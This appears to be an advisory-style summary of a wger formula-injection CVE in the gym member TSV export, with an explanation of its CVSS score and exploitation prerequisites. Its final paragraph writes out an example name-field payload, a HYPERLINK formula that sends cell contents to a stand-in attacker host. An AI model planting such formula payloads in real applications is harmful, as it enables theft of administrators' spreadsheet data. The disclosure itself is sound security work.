wger CVE-2026-86257

Exploitation requires a valid gym member account on the target wger instance - self-registration lowers this barrier on publicly accessible deployments. The attacker must control the value of first_name or last_name stored in their own profile. The final payload executes only when a gym administrator explicitly exports the member list via GET /en/gym/export/users/<gym_pk> and opens the resulting TSV file in a formula-evaluating spreadsheet application (Excel, LibreOffice Calc, or Google Sheets). Arbitrary local code execution additionally requires DDE to be enabled in the spreadsheet client, which is disabled by default in modern Excel versions. The wger server itself is never directly compromised - all formula evaluation occurs in the admin's local spreadsheet client.

The CVSS 4.0 base score of 4.8 reflects the constrained real-world impact: vulnerable-system confidentiality and integrity are both N (the wger server itself is not compromised), while the subsequent-system impact is low (SC:L/SI:L). Exploitation requires a low-privileged authenticated gym member account (PR:L) and active user interaction from an admin (UI:A), significantly limiting the attack surface compared to unauthenticated or zero-interaction vulnerabilities. The most severe outcome - arbitrary code execution - is gated on the admin using a legacy Excel configuration with DDE enabled, a non-default and increasingly uncommon scenario. The more realistic impact is data exfiltration of visible spreadsheet content via formula callbacks. Self-registration on wger instances may lower the barrier to obtaining a member account. No EPSS data is present in the provided input; no KEV listing exists. A proof-of-concept is described in the GHSA advisory and was tested against wger server, so the exploitability is confirmed in principle, but active exploitation has not been observed.

A self-registered gym member sets their first_name field to =HYPERLINK("http://attacker.example/?data="&A1,"click here") via the wger profile edit endpoint. When a gym administrator later navigates to the member export endpoint and downloads the TSV file, then opens it in Excel or LibreOffice Calc, the formula evaluates automatically, issuing an HTTP request to the attacker's server that includes the contents of cell A1 - potentially exposing admin-visible spreadsheet data. A proof-of-concept for this exact scenario is documented in GHSA-xq9m-hmp9-fw87.